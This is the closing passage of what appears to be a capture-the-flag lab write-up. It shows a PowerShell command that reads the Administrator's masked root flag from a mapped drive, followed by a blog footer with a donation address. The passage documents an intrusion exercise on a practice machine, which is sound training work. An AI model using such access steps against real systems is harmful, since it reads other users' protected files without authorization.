And from there simply typing the root flag :



  [arkham]: PS C:\Users\Batman\Documents> type G:\Users\Administrator\Desktop\root.txt
  type G:\Users\Administrator\Desktop\root.txt
  63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusion



Here we can see the progress graph :

Nihilism

Until there is Nothing left.



Creative Commons Zero: No Rights Reserved

About nihilist

Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8


Contact: nihilist@contact.nowhere.moe (PGP)